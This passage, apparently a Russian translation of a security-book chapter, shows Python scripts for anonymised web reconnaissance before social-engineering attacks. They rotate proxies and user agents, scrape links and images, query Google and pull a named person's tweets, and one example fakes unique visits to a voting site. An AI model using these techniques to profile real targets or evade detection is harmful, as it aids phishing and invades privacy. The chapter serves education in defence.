- Анонимный просмотр Интернета с помощью класса Mechanize
- Отзеркаливание элементов вебсайта в Python с использованием BeautifulSoup
- Взаимодействие с Google через Python
- Взаимодействие с Twitter через Python
- Автоматизированный целевой фишинг

За восемьдесят семь лет моей жизни я стал свидетелем целого ряда технологических революций. Но ни одна из них не покончила с необходимостью наличия у человека характера или умения мыслить.

**Бернард М. Барух, советник 28-го и 32-го президентов США**

## Введение: социальная инженерия сегодня

В 2010 году две масштабные кибератаки изменили природу нашего сегодняшнего понимания кибервойны. Ранее мы уже обсуждали операцию «Аврора» в [четвёртой главе](#). Во время «Авроры» хакеры «брали на прицел» транснациональные компании, включая Yahoo, Symantec, Adobe, Northrop Grumman и Dow Chemical, а также несколько учётных записей Gmail (Cha & Nakashima, 2010, p. 2). Газета *The Washington Post* продолжила характеризовать это нападение как имеющее «новый уровень изощрённости» во время его обнаружения и расследования. Вторая атака, Stuxnet, была нацелена на системы SCADA, особенно в Иране (AP, 2010). Сетевым защитникам стоило бы обеспокоиться из-за тех новшеств, обнаруженных в Stuxnet, которая была «более зрелой и технологически продвинутой (полу)целевой атакой, чем “Аврора”» (Matrosov, Rodionov, Harley & Malcho, 2010). Несмотря на то, что эти две кибератаки были очень сложными, обе они имели одно критическое сходство: они распространяются, по крайней мере частично, благодаря социальной инженерии (Constantin, 2012).

Независимо от того, насколько сложной или фатальной становится кибератака, наличие действенной социальной инженерии всегда увеличит её эффективность. В следующей главе мы рассмотрим, как можно использовать Python для автоматизации атаки методом социальной инженерии.

Прежде чем предпринять какую-либо операцию, злоумышленник должен обладать подробной информацией о цели - чем больше у него сведений, тем более вероятен успех атаки. Эта концепция распространяется также и на сферу информационной войны. В наше

время большую часть необходимой информации в этой области можно найти в интернете. Вероятность того, что в свободном доступе залегают огромные пласты важнейшей информации, высока из-за огромных масштабов Интернета. Чтобы предотвратить потери информации, можно использовать какую-нибудь компьютерную программу для автоматизации всего процесса. Python является отличным инструментом для задач автоматизации благодаря большому количеству сторонних библиотек, которые были написаны для облегчения взаимодействия с веб-сайтами и интернетом.

## Разведка перед атакой

В этой главе мы пройдем весь процесс ведения разведки в отношении цели. Его ключевым аспектом является обеспечение сбора максимально возможного объема информации, не попадая при этом в поле зрения чрезвычайно бдительного и способного сетевого администратора в штаб-квартире компании. В финале мы увидим, как агрегирование данных делает возможной чрезвычайно тонкую и персонализированную атаку объекта методом социальной инженерии. Перед применением любого из этих методов в отношении кого-либо проконсультируйтесь с сотрудниками правоохранительных органов или юристом. Мы описали здесь эти атаки для того, чтобы продемонстрировать используемые при таких нападениях инструменты, что позволит нам лучше понять их подход и узнать, как защититься от них в нашей собственной жизни.

## Использование библиотеки MECHANIZE для поиска по интернету

Типичные пользователи компьютеров для просмотра веб-сайтов и навигации по интернету полагаются на веб-браузер. Каждый сайт индивидуален и может содержать картинки, музыку и видео в самых различных комбинациях. Тем не менее браузер фактически прочитывает тип текстового документа, интерпретирует его, и затем отображает документ пользователю, подобно тому как текст исходного файла программы Python взаимодействует с интерпретатором Python. Пользователи могут заходить на веб-сайт через браузер или просматривать исходный код сайта несколькими различными способами; Linux-программа **wget** является популярным методом для второго варианта. Единственный способ просматривать интернет с помощью Python – это получать и анализировать исходный HTML-код веб-сайта. Для работы с веб-контентом уже создано много разных библиотек. Нам особенно нравится **Mechanize**, которую вы уже видели в действии в нескольких главах этой книги. **Mechanize** является сторонней библиотекой, доступной по адресу <http://wwwsearch.sourceforge.net/mechanize/> (Mechanize, 2010). Основной класс **Mechanize**, **Browser**, позволяет манипулировать всем, чем только можно манипулировать внутри браузера. В этом первичном классе есть и другие полезные методы, облегчающие жизнь программиста. Следующий скрипт демонстрирует самое простое использование **Mechanize**:

получение исходного кода веб-сайта. Оно требует создания объекта браузера и последующего вызова метода **open()**.

```
import mechanize
def viewPage(url):
    browser = mechanize.Browser()
    page = browser.open(url)
    source_code = page.read()
    print source_code
viewPage('http://www.syngress.com/')
```

Запустив скрипт, мы видим, что он выводит HTML-код индексируемой страницы [www.syngress.com](http://www.syngress.com).

```
recon:#!/ python viewPage.py
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <title>
    Syngress.com - Syngress is a premier publisher of content in
    the Information Security field. We cover Digital Forensics, Hacking
    and Penetration Testing, Certification, IT Security and Administration, and more.
  </title>
  <meta name="description" content="" /><meta name="keywords"
content="" />
<..ПРОПУЩЕНО..>
```

Мы задействуем класс **mechanize.Browser** с тем, чтобы создавать в этой главе скрипты для работы в интернете. Но вы не ограничены этим: Python предлагает несколько различных методов просмотра Всемирной паутины. В данной главе применяется библиотека **Mechanize** – благодаря специфическим функциям, предоставляемым ею. Джон Ли младший разработал **Mechanize**, чтобы дать возможность программировать с учётом состояния, легко заполнять HTML-формы, комфортно анализировать и обрабатывать такие команды, как **HTTP-Equiv** и **Refresh**. Кроме того, в ней имеется довольно много встроенных функций для того, чтобы оставаться анонимным. Всё это окажется полезным, как вы увидите в следующей главе.

## Анонимность: добавляем прокси-серверы, строки User-Agent, Cookie-файлы

Теперь, когда мы можем получить веб-страницу из интернета, необходимо сделать шаг назад и продумать процесс. Наша программа ничем не отличается от открывающей веб-сайт в веб-браузере, и поэтому мы должны предпринять те же самые шаги для обеспечения анонимности, что и при обычном просмотре веб-страниц. Есть несколько способов, с

помощью которых веб-сайты пытаются точно идентифицировать посетителей веб-страниц. Первый – это когда веб-серверы регистрируют IP-адреса запросов. Его можно обойти, используя виртуальную частную сеть (VPN) (прокси-сервер, который будет отправлять запросы от имени клиента) или сеть Tor. Однако когда клиент подключён к VPN, весь трафик проходит через VPN автоматически. Python может подключаться к прокси-серверам, что даёт программе дополнительную анонимность. Класс **Browser** из **Mechanize** имеет атрибут для программы, определяющий прокси-сервер. Простая настройка прокси браузера недостаточно «хитра» для нас. В сети есть несколько бесплатных прокси, поэтому пользователь может выбрать некоторые из них и передать их в функцию. Для этого примера мы выбрали HTTP-прокси с <http://www.hidemyass.com/>. Весьма вероятно, что ко времени, когда вы это прочитаете, тот прокси-сервер уже не будет работать, поэтому зайдите на сайт [www.hidemyass.com](http://www.hidemyass.com) и выберите какой-нибудь другой прокси-сервер HTTP. Кроме того, МакКарди ведёт список хорошо работающих прокси по адресу <http://rmccurdy.com/scripts/proxy/good.txt>. Мы будем проверять наш прокси на веб-странице Национального управления океанических и атмосферных исследований (NOAA), которая любезно предлагает веб-интерфейс, показывающий вам ваш текущий IP-адрес при посещении страницы.

```
import mechanize
def testProxy(url, proxy):
    browser = mechanize.Browser()
    browser.set_proxies(proxy)
    page = browser.open(url)
    source_code = page.read()
    print source_code
url = 'http://ip.nfsc.noaa.gov/'
hideMeProxy = {'http': '216.155.139.115:3128'}
testProxy(url, hideMeProxy)
```

Хотя этот исходный код HTML немного трудно различить, мы видим, что веб-сайт «поверил», что наш IP-адрес 216.155.139.115 – это IP-адрес прокси. Удача! Давайте продолжим двигаться дальше.

```
recon: !# python proxyTest.py
<html><head><title>What's My IP Address?</title></head>
<..ПРОПУЩЕНО..>
<b>Your IP address is...</b></font><br><font size=+2 face=arial
color=red> 216.155.139.115</font><br><br><br><center> <font size=+2
face=arial color=white> <b>Your hostname appears to be...</b></
font><br><font size=+2 face=arial color=red> 216.155.139.115.
choopa.net</font></font><font color=white
<..ПРОПУЩЕНО..>
```

Наш браузер теперь имеет один уровень анонимности. Веб-сайты также используют строку **user-agent**, предоставляемую браузером, как ещё один метод уникальной идентификации пользователей. При обычной работе в интернете строка **user-agent** позволяет веб-сайту видеть важную информацию о браузере, может адаптировать HTML-код и обеспечивать лучшее взаимодействие с пользователем. Однако эта информация может включать данные о версии ядра, версии браузера и другие подробности о машине пользователя. Вредоносные веб-сайты используют её для «подачи» подходящего эксплойта определённому браузеру, другие веб-сайты, «чуть менее вредоносные» - для различения компьютеров, которые находятся за пределами NAT в частной сети. Недавно разразился скандал, когда обнаружилось, что строки **user-agent** использовались отдельными туристическими веб-сайтами для выявления пользователей Macbook и предложения им более дорогостоящих вариантов.

К счастью, **Mechanize** делает изменение строки **user-agent** столь же простым, как и изменение прокси. На сайте <http://www.useragentstring.com/pages/useragentstring.php> представлен огромный список допустимых строк **user-agent**, которые можно выбрать для следующей функции (List of user agent strings, 2012). Мы напишем скрипт для проверки изменения нашей строки **user-agent** в браузере Netscape Browser 6.01, работающем на ядре Linux 2.4, и извлечём страницу с сайта <http://whatismyuseragent.dotdoh.com/>, который выведет нам строку **user-agent**.

```
import mechanize
def testUserAgent(url, userAgent):
    browser = mechanize.Browser()
    browser.addheaders = userAgent
    page = browser.open(url)
    source_code = page.read()
    print source_code
url = 'http://whatismyuseragent.dotdoh.com/'
userAgent = [('User-agent', 'Mozilla/5.0 (X11; U; '+\
    'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')]
testUserAgent(url, userAgent)
```

Запустив скрипт, мы видим, что можем успешно просматривать страницу с поддельной строкой **user-agent**. Сайт «верит», что мы запускаем Netscape 6.01 вместо загрузки страницы с помощью Python.

```
recon: !# python userAgentTest.py
<html>
<head>
  <title>Browser UserAgent Test</title>
  <style type="text/css">
<..ПРОПУЩЕНО..>
```

```
<p><a href="http://www.dotdoh.com" target="_blank"></a></p>
<p><h4>Your browser's UserAgent string is: <span
class="style1"><em>Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US;
m18) Gecko/20010131 Netscape6/6.01</em></span></h4>
</p>
<..ПРОПУЩЕНО..>
```

Наконец, веб-сайты будут предоставлять веб-браузеру файлы cookie, содержащие своего рода уникальный идентификатор, позволяющий веб-сайту проверять повторных посетителей. Чтобы предотвратить это, мы будем удалять cookie из нашего браузера при выполнении других функций анонимизации. Другая библиотека, включённая в основной дистрибутив Python, **CookieLib**, содержит несколько различных типов контейнеров для работы с файлами cookie. Используемый здесь тип включает в себя функцию для сохранения различных файлов cookie на диск. Она позволяет пользователю просматривать cookie, не возвращаясь на сайт после первоначального доступа к нему. Давайте создадим простой скрипт для проверки работы функции **CookieJar**. Мы откроем страницу <http://www.syngress.com>, как и в нашем первом примере, но теперь мы выведем файлы cookie, сохранённые во время сеанса просмотра.

```
import mechanize
import cookielib
def printCookies(url):
    browser = mechanize.Browser()
    cookie_jar = cookielib.LWPCookieJar()
    browser.set_cookiejar(cookie_jar)
    page = browser.open(url)
    for cookie in cookie_jar:
        print cookie
url = 'http://www.syngress.com/'
printCookies(url)
```

Запустив скрипт, мы видим уникальный файл cookie идентификатора сессии для просмотра веб-сайта Syngress.

```
recon: !# python printCookies.py
<Cookie _syngress_session=BAh7CToNY3VydmVudHkiCHVzZD0JbGFzdCIA0g9zZYNz
aW9uX2lkIiU1ZW
FmNmIXMTQ5ZTQxMzUxZmE2ZDI1MSBLYTA4ZDUxOSIKZmxhc2hJQzonQWN0aW8u
Q29udHJvbGxlcjo6Rmxhc2g6OktZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--
f80f741456f6c0dc82382bd8441b75a7a39f76c8 forwww.syngress.com/>
```

## Финализируем наш AnonBrowser в класс Python

Уже есть несколько функций, которые принимают браузер в качестве параметра и изменяют его, иногда добавляя какой-нибудь параметр. Это имеет смысл в том плане, что если бы его можно было добавить в класс **Browser** для **Mechanize**, эти функции можно было бы свести к простому вызову от объекта браузера, вместо необходимости импортировать наши собственные функции в каждый файл и вызывать их через какой-нибудь неуклюжий синтаксис. Мы можем сделать это, расширив класс **Browser** для **Mechanize**. Наш новый класс браузера будет иметь уже созданные нами функции, а также дополнительные возможности для функции инициализации. Это поможет с удобочитаемостью кода и объединит все функции, непосредственно связанные с классом **Browser**, в одном месте.

```
import mechanize, cookielib, random
class anonBrowser(mechanize.Browser):
    def __init__(self, proxies = [], user_agents = []):
        mechanize.Browser.__init__(self)
        self.set_handle_robots(False)
        self.proxies = proxies
        self.user_agents = user_agents + ['Mozilla/4.0 ', \
        'Firefox/6.01', 'ExactSearch', 'Nokia7110/1.0']
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        self.anonymize()
    def clear_cookies(self):
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
    def change_user_agent(self):
        index = random.randrange(0, len(self.user_agents))
        self.addheaders = [('User-agent', \
        (self.user_agents[index]))]
    def change_proxy(self):
        if self.proxies:
            index = random.randrange(0, len(self.proxies))
            self.set_proxies({'http': self.proxies[index]})
    def anonymize(self, sleep = False):
        self.clear_cookies()
        self.change_user_agent()
        self.change_proxy()
        if sleep:
            time.sleep(60)
```

Наш новый класс содержит список строк **user-agent** по умолчанию и принимает список для добавления в него, а также список прокси-серверов, которые пользователь хотел бы использовать. В нём также есть три функции анонимизации, созданные нами ранее, которые можно вызывать отдельно или все сразу. Наконец, есть функция, которая предлагает

возможность подождать 60 секунд, увеличивая время между запросами, видимыми в журналах сервера. Не меняя ничего в представленной информации, этот дополнительный шаг уменьшает вероятность того, что эти действия будут признаны исходящими из того же источника. Это увеличенное время похоже на концепцию «безопасность через неизвестность», но дополнительные меры предосторожности полезны, поскольку время, как правило, не вызывает беспокойства. Другая программа может получить доступ к этому новому классу таким же образом, как и с помощью класса **Browser** из **Mechanize**. Файл **anonBrowser.py** содержит новый класс, как видно из импортированных вызовов, и должен быть сохранён в локальном каталоге скриптов, которые его вызовут.

Давайте напишем скрипт для импорта нашего нового класса браузера. Несколько лет назад у меня был один профессор, который помогал своей четырёхлетней дочери в онлайн-голосовании за её котят. Поскольку голоса были сведены в таблицу по сессиям, каждый визит для голосования должен быть уникальным. Давайте посмотрим, сможем ли мы обмануть сайт <http://kittenwar.com>, чтобы он предоставлял нам уникальные файлы cookie для каждого посещения. Мы посетим этот сайт четырежды, и будем анонимизировать между сеансами.

```
from anonBrowser import *
ab = anonBrowser(proxies=[],\
    user_agents=[('User-agent', 'superSecretBroswer')])
for attempt in range(1, 5):
    ab.anonymize()
    print '[*] Fetching page'
    response = ab.open('http://kittenwar.com')
    for cookie in ab.cookie_jar:
        print cookie
```

Запустив скрипт, мы видим, как страница загрузилась уникально 5 раз с разными PHP-сессиями cookie для каждого уникального посещения. Победа! Создав наш класс анонимного браузера, давайте начнём «наскребать» с веб-страниц информацию о наших мишенях.

```
recon: !# python kittenTest.py
[*] Fetching page
<Cookie PHPSESSID=qg3fbia0t7ue3dnen5i8brem61 for kittenwar.com/>
[*] Fetching page
<Cookie PHPSESSID=25s8apnvejkkajtd67ctonfl0 for kittenwar.com/>
[*] Fetching page
<Cookie PHPSESSID=16srf8kscgb2l2e2fknoqf4nh2 for kittenwar.com/>
[*] Fetching page
<Cookie PHPSESSID=73uhg6glqge9p2vpk0gt3d4ju3 for kittenwar.com/>
```



# Сбор данных из веб-страниц с помощью AnonBrowser

Теперь, когда мы умеем извлекать веб-контент с помощью Python, можно заняться разведкой целей. Начнём наше исследование со скрейпинга (сбора данных с) веб-сайтов – того, что в наши дни имеется у большинства организаций. Злоумышленник может тщательно изучить главную страницу цели в поисках скрытых и ценных данных. Однако такие действия могут генерировать большое количество просмотров страниц. Перемещение содержимого сайта на локальный компьютер сокращает количество просмотров. Поэтому лучше посетить страницу только один раз, а затем бесконечно много раз обращаться к ней с нашего локального компьютера. Для этого существует ряд популярных фреймворков, но мы создадим свой собственный, чтобы использовать преимущества класса **anonBrowser**, созданного ранее. С его помощью мы получим все ссылки, исходящие от определённой цели.

## Разбор HREF-ссылок с помощью BeautifulSoup

Чтобы выполнить задачу анализа ссылок с целевого веб-сайта, у нас есть два варианта:

- использовать регулярные выражения для выполнения задач поиска и замены в HTML-коде;
- использовать мощную стороннюю библиотеку под названием **BeautifulSoup**, доступную по адресу <http://www.crummy.com/software/BeautifulSoup/>.

Разработчики **BeautifulSoup** создали эту фантастическую библиотеку для обработки и анализа HTML и XML (BeautifulSoup, 2012). Сначала мы вкратце посмотрим, как найти ссылки с помощью этих двух методов, а затем объясним, почему в большинстве случаев BeautifulSoup предпочтительнее.

```
from anonBrowser import *
from BeautifulSoup import BeautifulSoup
import os
import optparse
import re
def printLinks(url):
    ab = anonBrowser()
    ab.anonymize()
    page = ab.open(url)
    html = page.read()
    try:
        print '[+] Printing Links From Regex.'
        link_finder = re.compile('href="(.*?)"')
        links = link_finder.findall(html)
        for link in links:
```

```

        print link
    except:
        pass
    try:
        print '\n[+] Printing Links From BeautifulSoup.'
        soup = BeautifulSoup(html)
        links = soup.findAll(name='a')
        for link in links:
            if link.has_key('href'):
                print link['href']
    except:
        pass
def main():
    parser = optparse.OptionParser('usage%prog ' + \
        '-u <target url>')
    parser.add_option('-u', dest='tgtURL', type='string', \
        help='specify target url')
    (options, args) = parser.parse_args()
    url = options.tgtURL
    if url == None:
        print parser.usage
        exit(0)
    else:
        printLinks(url)
if __name__ == '__main__':
    main()

```

Запустив наш скрипт, давайте разберём ссылки с популярного сайта, который отображает не что иное, как танцующих хомяков. Наш скрипт выдаёт результаты для ссылок, выявленных регулярным выражением, и ссылок, выявленных парсером **BeautifulSoup**.

```

recon:# python linkParser.py -uhttp://www.hampsterdance.com/
[+] Printing Links From Regex.
styles.css
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
freshhamstertracks.htm
freshhamstertracks.htm
freshhamstertracks.htm
http://twitter.com/hampsterrific
http://twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
funfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
meetngreet.htm
http://www.asburyarts.com
index.htm

```

```
meetngreet.htm
musicmerch.htm
funnfree.htm
freshhamstertracks.htm
hamsterclassics.htm
http://www.statcounter.com/joomla/
[+] Printing Links From BeautifulSoup.
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
freshhamstertracks.htm
freshhamstertracks.htm
freshhamstertracks.htm
http://twitter.com/hampsterrific
http://twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
meetngreet.htm
http://www.asburyarts.com
http://www.statcounter.com/joomla/
```

На первый взгляд, оба метода кажутся относительно равнозначными. Однако использование регулярных выражений и **BeautifulSoup** дало разные результаты. Теги, связанные с определёнными данными, вряд ли изменятся, в результате чего программы станут более устойчивыми к прихотям администратора сайта. Например, наше регулярное выражение включает в качестве ссылки каскадную таблицу стилей **styles.css**: ясно, что это не ссылка, но она соответствует нашему регулярному выражению. Парсер **BeautifulSoup** знал, что надо это игнорировать, и не включил её.

### Зеркальное отображение картинок с помощью BeautifulSoup

В дополнение к ссылкам на странице, может оказаться полезным «наскрести» все изображения оттуда. В [третьей главе](#) мы увидели, как можно извлекать метаданные из изображений. Опять же, **BeautifulSoup** — это ключ, позволяющий искать любой объект HTML с тегом «**img**». Объект браузера загружает изображение и сохраняет его на локальном жёстком диске в виде двоичного файла; затем вносятся изменения в фактический HTML-код в процессе, почти идентичном переписыванию ссылок. С этими изменениями наш основной скрейпер становится достаточно надёжным, чтобы переписывать ссылки, направленные на локальный компьютер, и загружает изображения с веб-сайта.

```
from anonBrowser import *
from BeautifulSoup import BeautifulSoup
import os
import optparse
```

```

def mirrorImages(url, dir):
    ab = anonBrowser()
    ab.anonymize()
    html = ab.open(url)
    soup = BeautifulSoup(html)
    image_tags = soup.findAll('img')
    for image in image_tags:
        filename = image['src'].lstrip('http://')
        filename = os.path.join(dir, \
            filename.replace('/', '_'))
        print '[+] Saving ' + str(filename)
        data = ab.open(image['src']).read()
        ab.back()
        save = open(filename, 'wb')
        save.write(data)
        save.close()
def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-u <target url> -d <destination directory>')
    parser.add_option('-u', dest='tgtURL', type='string', \
        help='specify target url')
    parser.add_option('-d', dest='dir', type='string', \
        help='specify destination directory')
    (options, args) = parser.parse_args()
    url = options.tgtURL
    dir = options.dir
    if url == None or dir == None:
        print parser.usage
        exit(0)
    else:
        try:
            mirrorImages(url, dir)
        except Exception, e:
            print '[-] Error Mirroring Images.'
            print '[-] ' + str(e)
if __name__ == '__main__':
    main()

```

Запустив скрипт для [xkcd.com](http://xkcd.com), мы видим, что он успешно загрузил все изображения из нашего любимого веб-комикса.

```

recon:~# python imageMirror.py -u http://xkcd.com -d /tmp/
[+] Saving /tmp/imgs.xkcd.com_static_terrible_small_logo.png
[+] Saving /tmp/imgs.xkcd.com_comics_moon_landing.png
[+] Saving /tmp/imgs.xkcd.com_s_a899e84.jpg

```

## Исследование, расследование, раскрытие

В большинстве случаев работы с социальной инженерией злоумышленники начинают с целевой компании или бизнеса. Для «социнженеров» Stuxnet это были люди в Иране, имевшие доступ к определённым системам Scada. Люди, стоявшие за операцией «Аврора», исследовали людей из ряда компаний, чтобы «получить доступ к важным объектам интеллектуальной собственности» (Zetter, 2010, р. 3). Давайте представим, что есть интересующая нас компания, и мы знаем одного из главных людей, стоящих за ней; обычный злоумышленник может иметь даже меньше информации, чем эта. Хакеры зачастую добывают самые подробные сведения о своей цели, что требует использования интернета и других ресурсов для создания картины личности. Поскольку оракул, Google, знает всё, мы и обратимся к нему в следующей серии скриптов.

### Взаимодействие с Google API в Python

Представьте себе на секунду, что друг задаёт вопрос на непонятную вам тему, ошибочно полагая, что вы что-то о ней знаете. Как вы отвечаете? – «Погугли это». Вот как популярен этот самый посещаемый в мире сайт, что его название даже стало глаголом. Так как же нам узнать побольше информации о целевой компании? Ну, ответ опять тот же – Google. Google предоставляет программный интерфейс приложения (API), который позволяет программистам создавать запросы и получать результаты, без необходимости при этом пытаться взломать «нормальный» интерфейс Google. В настоящее время существуют два API: устаревший API и API, для которого требуется ключ разработчика (Google, 2010). Требование уникального ключа разработчика поставит крест на анонимности - а ведь именно её мы и пытались достичь в наших предыдущих скриптах. К счастью, устаревшая версия по-прежнему допускает изрядное количество запросов в день, с получением примерно тридцати результатов в каждом поиске. В деле сбора информации тридцати результатов более чем достаточно, чтобы получить представление о присутствии организации в интернете. Мы создадим нашу функцию запроса с нуля и получим информацию, которая бы заинтересовала злоумышленника.

```
import urllib
from anonBrowser import *
def google(search_term):
    ab = anonBrowser()
    search_term = urllib.quote_plus(search_term)
    response = ab.open('http://ajax.googleapis.com/' + \
        'ajax/services/search/web?v=1.0&q=' + search_term)
    print response.read()
google('Boondock Saint')
```

Ответ от Google должен выглядеть примерно как вот это беспорядочное месиво:

```
{
  "responseData": {
    "results": [
      {
        "GsearchResultClass": "GwebSearch",
        "unescapeUrl": "http://www.boondocksaints.com/",
        "url": "http://www.boondocksaints.com/",
        "visibleUrl": "www.boondocksaints.com",
        "cacheUrl": "http://www.google.com/search?q\\u003dcache:J3XW0wgXgn4J:www.boondocksaints.com",
        "title": "The \\u003cb\\u003eBoondock Saints\\u003c/b\\u003e",
        "titleNoFormatting": "The Boondock
        <.. ПРОПУЩЕНО..>
        \\u003cb\\u003e...\\u003c/b\\u003e"}],
        "cursor": {
          "resultCount": "62,800",
          "pages": [
            {
              "start": "0",
              "label": "1",
            },
            {
              "start": "4",
              "label": "2",
            },
            {
              "start": "8",
              "label": "3",
            },
            {
              "start": "12",
              "label": "4",
            },
            {
              "start": "16",
              "label": "5",
            },
            {
              "start": "20",
              "label": "6",
            },
            {
              "start": "24",
              "label": "7",
            },
            {
              "start": "28",
              "label": "8",
            },
          ],
          "estimatedResultCount": "62800",
          "currentPageIndex": 0,
          "moreResultsUrl": "http://www.google.com/search?oe\\u003dutf8\\u0026ie\\u003dutf8\\u0026source\\u003duds\\u0026start\\u003d0\\u0026hl\\u003den\\u0026q\\u003dBoondock+Saint",
          "searchResultTime": "0.16"
        }
      }
    ],
    "responseDetails": null,
    "responseStatus": 200
  }
}
```

Функция `quote_plus()` из библиотеки `urllib` – это первый новый фрагмент кода в этом скрипте. Кодировка URL относится к способу передачи неалфавитно-цифровых символов на веб-серверы (Wilson, 2005). Хотя это и не идеальная функция для кодирования URL, она подходит для наших целей. В конце оператора `print` отображается ответ от Google: длинная строка из фигурных скобок, обычных скобок и кавычек. Однако если вы посмотрите на неё внимательно, то заметите, что ответ выглядит точь-в-точь как словарь. Ответ представлен в формате json, который очень близок по своей сути к словарю, и, что неудивительно, в языке Python есть библиотека, созданная для обработки строк json. Давайте добавим это к функции и пересмотрим наш ответ.

```
import json, urllib
from anonBrowser import *
def google(search_term):
    ab = anonBrowser()
    search_term = urllib.quote_plus(search_term)
    response = ab.open('http://ajax.googleapis.com/' + \
        'ajax/services/search/web?v=1.0&q=' + search_term)
    objects = json.load(response)
    print objects
    google('Boondock Saint')
```

Когда происходит печать объекта, это должно выглядеть примерно так, как распечатывали `response.read()` в первой функции. Библиотека `json` загрузила ответ в словарь, сделав поля внутри легко доступными вместо того, чтобы запросить анализ строки вручную.

```
{
  "responseData": {
    "cursor": {
      "moreResultsUrl": "http://www.google.com/search?oe=utf8&ie=utf8&source=uds&start=0&hl=en&q=Boondock
    }
  }
}
```

```
+Saint', u'estimatedResultCount': u'62800', u'searchResultTime':
u'0.16', u'resultCount': u'62,800', u'pages': [{u'start': u'0',
u'label': 1}, {u'start': u'4', u'label': 2}, {u'start': u'8',
u'label': 3}, {u'start': u'12', u'label': 4}, {u'start': u'16',
u'label': 5}, {u'start': u'20', u'label': 6}, {u'start': u'24',
u'label': 7}, {u'start': u'28', u'..ПРОПУЩЕНО..>
Saints</b> - Wikipedia, the free encyclopedia', u'url': u'http://
en.wikipedia.org/wiki/The_Boondock_Saints', u'cacheUrl': u'http://
www.google.com/search?q=cache:BKaGPxznRLYJ:en.wikipedia.org',
u'unescapedUrl': u'http://en.wikipedia.org/wiki/The_Boondock_
Saints', u'content': u'The <b>Boondock Saints</b> is a 1999 American
action film written and directed by Troy Duffy. The film stars Sean
Patrick Flanery and Norman Reedus as Irish fraternal <b>...</b>'}}],
u'responseDetails': None, u'responseStatus': 200}
```

Теперь мы можем обдумать, что же *имеет значение* в результатах данного поиска Google. Очевидно, что ссылки на возвращаемые страницы важны. Кроме того, заголовки страниц и небольшие фрагменты текста, которые Google использует для предварительного просмотра веб-страницы, найденной поисковой системой, помогают понять, куда ведёт ссылка. Чтобы упорядочить результаты, мы создадим простой класс для хранения данных. Это сделает доступ к различным полям проще, чем необходимость пробираться за информацией через tiers уровня словарей.

```
import json
import urllib
import optparse
from anonBrowser import *
class Google_Result:
    def __init__(self,title,text,url):
        self.title = title
        self.text = text
        self.url = url
    def __repr__(self):
        return self.title
def google(search_term):
    ab = anonBrowser()
    search_term = urllib.quote_plus(search_term)
    response = ab.open('http://ajax.googleapis.com/'+\
'ajax/services/search/web?v=1.0&q='+ search_term)
    objects = json.load(response)
    results = []
    for result in objects['responseData']['results']:
        url = result['url']
        title = result['titleNoFormatting']
        text = result['content']
        new_gr = Google_Result(title, text, url)
        results.append(new_gr)
```

```

    return results
def main():
    parser = optparse.OptionParser('usage%prog ' + \
    '-k <keywords>')
    parser.add_option('-k', dest='keyword', type='string', \
    help='specify google keyword')
    (options, args) = parser.parse_args()
    keyword = options.keyword
    if options.keyword == None:
        print parser.usage
        exit(0)
    else:
        results = google(keyword)
        print results
if __name__ == '__main__':
    main()

```

Этот куда более чистый способ представления данных выдал следующий результат:

```

recon:#!# python anonGoogle.py -k 'Boondock Saint'
[The Boondock Saints, The Boondock Saints (1999) - IMDb, The Boondock
Saints II: All Saints Day (2009) - IMDb, The Boondock Saints -
Wikipedia, the free encyclopedia]

```

## Анализ твитов с помощью Python

На этом этапе наш скрипт автоматически собрал несколько фактов о цели нашей разведки. В следующей серии шагов мы отойдём от домена и организации, и начнём рассматривать отдельных людей и информацию о них, доступную в интернете.

Как и Google, Twitter предоставляет API для разработчиков. Документация, расположенная по адресу <https://dev.twitter.com/docs>, очень подробная, и предоставляет доступ ко множеству функций, которые не будут использоваться в этой программе (Twitter, 2012).

Давайте теперь разберёмся, как скрейпить данные из Twitter. А именно, мы возьмём твиты и ретвиты американского хакера-патриота, известного как th3j35t3r. Поскольку он использует имя «Boondock Saint» («Святой из Бундока») в качестве имени своего профиля в Твиттере, мы воспользуемся этим для создания нашего класса **reconPerson()** и введём «th3j35t3r» в качестве дескриптора Twitter для поиска.

```

import json
import urllib
from anonBrowser import *
class reconPerson:
    def __init__(self,first_name,last_name,\
    job='',social_media={}):

```



```

        self.first_name = first_name
        self.last_name = last_name
        self.job = job
        self.social_media = social_media
    def __repr__(self):
        return self.first_name + ' ' + \
            self.last_name + ' has job ' + self.job
    def get_social(self, media_name):
        if self.social_media.has_key(media_name):
            return self.social_media[media_name]
        return None
    def query_twitter(self, query):
        query = urllib.quote_plus(query)
        results = []
        browser = anonBrowser()
        response = browser.open(\
            'http://search.twitter.com/search.json?q='+
                query)
        json_objects = json.load(response)
        for result in json_objects['results']:
            new_result = {}
            new_result['from_user'] = result['from_user_
            name']
            new_result['geo'] = result['geo']
            new_result['tweet'] = result['text']
            results.append(new_result)
        return results
ap = reconPerson('Boondock', 'Saint')
print ap.query_twitter(\
    'from:th3j35t3r since:2010-01-01 include:retweets')

```

Тогда как скрейпинг в Twitter заходит гораздо дальше, мы уже видим много информации, которая может быть полезна при изучении хакера – патриота США. Мы узнаём, что он в настоящее время находится в конфликте с хакерской группой UGNazi, и у него имеются кое-какие сторонники. Любопытство берёт над нами верх, и мы гадаем, во что это всё выльется.

```

recon:#!/# python twitterRecon.py
[{'tweet': u'RT @XNineDesigns: @th3j35t3r Do NOT give up. You are
